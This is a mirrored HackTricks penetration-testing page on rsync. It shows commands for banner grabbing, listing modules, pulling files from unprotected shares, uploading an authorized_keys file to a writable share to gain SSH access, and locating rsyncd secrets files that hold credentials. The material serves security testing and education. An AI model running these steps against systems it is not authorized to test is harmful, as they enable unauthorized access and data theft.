mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
125 lines
6.3 KiB
Markdown
125 lines
6.3 KiB
Markdown
# 873 - Pentesting Rsync
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
## **Basic Information**
|
|
|
|
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
|
|
|
> **rsync** is a utility for efficiently [transferring](https://en.wikipedia.org/wiki/File\_transfer) and [synchronizing](https://en.wikipedia.org/wiki/File\_synchronization) [files](https://en.wikipedia.org/wiki/Computer\_file) between a computer and an external hard drive and across [networked](https://en.wikipedia.org/wiki/Computer\_network) [computers](https://en.wikipedia.org/wiki/Computer) by comparing the [modification times](https://en.wikipedia.org/wiki/Timestamping\_\(computing\))and sizes of files.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) It is commonly found on [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating\_system). The rsync algorithm is a type of [delta encoding](https://en.wikipedia.org/wiki/Delta\_encoding), and is used for minimizing network usage. [Zlib](https://en.wikipedia.org/wiki/Zlib) may be used for additional [data compression](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) and [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) or [stunnel](https://en.wikipedia.org/wiki/Stunnel) can be used for security.
|
|
|
|
**Default port:** 873
|
|
|
|
```
|
|
PORT STATE SERVICE REASON
|
|
873/tcp open rsync syn-ack
|
|
```
|
|
|
|
## Enumeration
|
|
|
|
### Banner & Manual communication
|
|
|
|
```bash
|
|
nc -vn 127.0.0.1 873
|
|
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
|
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
|
|
@RSYNCD: 31.0 <--- Then you send the same info
|
|
#list <--- Then you ask the sever to list
|
|
raidroot <--- The server starts enumerating
|
|
USBCopy
|
|
NAS_Public
|
|
_NAS_Recycle_TOSRAID <--- Enumeration finished
|
|
@RSYNCD: EXIT <--- Sever closes the connection
|
|
|
|
|
|
#Now lets try to enumerate "raidroot"
|
|
nc -vn 127.0.0.1 873
|
|
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
|
@RSYNCD: 31.0
|
|
@RSYNCD: 31.0
|
|
raidroot
|
|
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
|
```
|
|
|
|
### **Enumerating Shared Folders**
|
|
|
|
**Rsync modules** are recognized as **directory shares** that might be **protected with passwords**. To identify available modules and check if they require passwords, the following commands are used:
|
|
|
|
```bash
|
|
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
|
msf> use auxiliary/scanner/rsync/modules_list
|
|
|
|
# Example with IPv6 and alternate port
|
|
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
|
```
|
|
|
|
Be aware that some shares might not appear in the list, possibly hiding them. Additionally, accessing some shares might be restricted to specific **credentials**, indicated by an **"Access Denied"** message.
|
|
|
|
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
|
|
|
### Manual Rsync Usage
|
|
|
|
Upon obtaining a **module list**, actions depend on whether authentication is needed. Without authentication, **listing** and **copying** files from a shared folder to a local directory is achieved through:
|
|
|
|
```bash
|
|
# Listing a shared folder
|
|
rsync -av --list-only rsync://192.168.0.123/shared_name
|
|
|
|
# Copying files from a shared folder
|
|
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
|
```
|
|
|
|
This process **recursively transfers files**, preserving their attributes and permissions.
|
|
|
|
With **credentials**, listing and downloading from a shared folder can be done as follows, where a password prompt will appear:
|
|
|
|
```bash
|
|
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
|
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
|
```
|
|
|
|
To **upload content**, such as an _**authorized_keys**_ file for access, use:
|
|
|
|
```bash
|
|
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
|
```
|
|
|
|
## POST
|
|
|
|
To locate the rsyncd configuration file, execute:
|
|
|
|
```bash
|
|
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
|
```
|
|
|
|
Within this file, a _secrets file_ parameter might point to a file containing **usernames and passwords** for rsyncd authentication.
|
|
|
|
|
|
## References
|
|
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|